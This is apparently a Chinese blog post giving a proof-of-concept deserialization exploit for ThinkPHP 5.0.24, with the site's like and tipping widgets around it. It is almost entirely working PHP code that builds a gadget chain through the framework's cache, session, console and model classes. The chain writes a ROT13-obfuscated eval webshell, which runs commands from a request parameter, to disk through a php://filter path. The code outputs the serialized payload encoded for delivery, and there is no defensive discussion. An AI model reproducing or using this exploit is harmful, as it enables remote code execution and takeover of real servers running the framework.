ThinkPHP5.0.24反序列化POC


<?php
namespace think\cache{

    abstract class Driver{

        /**
         * Driver constructor.
         */
        protected $options = [];
        protected $tag;
        public function __construct()
        {
            $this -> options = [
                'prefix' => '',
            ];
            $this -> tag = 'armandhe';
        }
    }
}

namespace think\cache\driver{

    use think\cache\Driver;

    class Memcached extends Driver{

        /**
         * Memcached constructor.
         */
        protected $handler = null;
        protected $options = [
            'host'     => '127.0.0.1',
            'port'     => 11211,
            'expire'   => 0,
            'timeout'  => 0, // 超时时间(单位:毫秒)
            'prefix'   => '',
            'username' => '', //账号
            'password' => '', //密码
            'option'   => [],
        ];
        public function __construct()
        {
            parent::__construct();
            $this -> options['expire'] = 0;
            $this -> handler = new File();
        }
    }
    class File extends Driver{

        /**
         * File constructor.
         */
        protected $options = [];
        public function __construct()
        {
            parent::__construct();
            $this -> options = [
                'expire'        => 0,
                'cache_subdir'  => false,
                'prefix'        => false,
                'path'          => 'php://filter/write=string.rot13/resource=',
                'data_compress' => false,
            ];
        }
    }
}

namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache{

        /**
         * Memcache constructor.
         */
        protected $handler = null;
        protected $config  = [
        ];
        public function __construct()
        {
            $this -> handler = new Memcached();
            $this -> config = [
                'host'         => '127.0.0.1', // memcache主机
                'port'         => 11211, // memcache端口
                'expire'       => 0, // session有效期
                'timeout'      => 0, // 连接超时时间(单位:毫秒)
                'persistent'   => true, // 长连接
                'session_name' => '<?cuc $n=fgegbhccre("_erdhrfg");riny($$n["pzq"])?>', // memcache key前缀
            ];
        }
    }

}


namespace think\console{

    use think\session\driver\Memcache;

    class Output{

        /**
         * Output constructor.
         */
        protected $styles = [];
        private $handle = null;
        public function __construct()
        {
            $this ->styles =[
              'getAttr',
            ];
            $this -> handle = new Memcache();
        }
    }
}

namespace think\model\relation{

    use think\model\Relation;

    abstract class OneToOne extends Relation{

        /**
         * OneToOne constructor.
         */
        protected $bindAttr = ['test'];
        public function __construct()
        {
            parent::__construct();
            $this -> bindAttr = [
                "armandhenewpy"
            ];
        }

    }
    class HasOne extends OneToOne{

        /**
         * HasOne constructor.
         */
        public function __construct()
        {
            parent::__construct();
        }
    }
}

namespace think\db{

    use think\console\Output;

    class Query{

        /**
         * Query constructor.
         */
        protected $model;
        public function __construct()
        {
            $this -> model = new Output();

        }
    }
}

namespace think\model{

    use think\db\Query;

    abstract class Relation{

        /**
         * Relation constructor.
         */
        protected $selfRelation;
        protected $query;
        public function __construct()
        {
            $this -> selfRelation = false;
            $this -> query = new Query();
        }
    }
}

namespace think{

    use think\console\Output;
    use think\model\relation\HasOne;

    abstract class Model{

        /**
         * Model constructor.
         */
        protected $parent;
        protected $append = [];
        protected $error;
        public function __construct()
        {
            $this -> parent = new Output();
            $this -> append = [
                'getError'
            ];
            $this -> error = new HasOne();
        }
    }
}
namespace think\model{

    use think\Model;

    class Pivot extends Model{

    }
}



namespace think\process\pipes{

    use think\model\Pivot;

    class Windows{

        /**
         * Windows constructor.
         */
        private $files = [];
        public function __construct()
        {
            $this -> files = ['test' => new Pivot()

        ];
        }
    }
}
namespace app\index\controller{
    use think\process\pipes\Windows;
    class Unserialization{
        function getpayload(){
            echo urlencode(base64_encode(serialize(new Windows())));
        }
    }
}
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值